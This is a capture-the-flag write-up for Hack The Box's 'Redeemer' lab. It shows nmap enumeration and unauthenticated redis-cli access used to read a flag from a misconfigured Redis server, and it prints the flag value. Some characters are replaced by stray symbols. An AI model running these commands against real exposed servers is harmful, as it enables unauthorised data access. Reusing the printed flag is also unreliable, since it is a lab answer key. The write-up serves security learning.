HTB “Redeemer” Redis Exploit Write■Up

1. Introduction
Objective: Exploit a misconfigured Redis server on Hack■The■Box’s “Redeemer” machine to retrieve th
Author: keyfive5
Date: 2025■04■19

2. Lab Environment
- **Attacker VM:** Kali Linux (via HTB VPN)
- **Target IP:** 10.129.136.194
- **Tools:** nmap v7.95, redis-cli, Bash shell

3. Enumeration

3.1 Nmap Scan
```bash
nmap -p 6379 -sV 10.129.136.194 -oN nmap-6379.txt
```
Result:
```text
6379/tcp open  redis  Redis key-value store 5.0.7
```

3.2 Redis INFO
```bash
redis-cli -h 10.129.136.194 info
```
Keyspace:
```text
# Keyspace
db0:keys=4,expires=0,avg_ttl=0
```

4. Exploitation

4.1 List Keys & Retrieve Flag
```bash
redis-cli -h 10.129.136.194
> select 0
> keys *
1) "flag"
2) "temp"
3) "stor"
4) "numb"
> get flag
"03e1d2b376c37ab3f5319922053953eb"
```

5. Automation Script
See `scripts/enum-redis.sh` for full automation. Run:
```bash
bash scripts/enum-redis.sh 10.129.136.194
```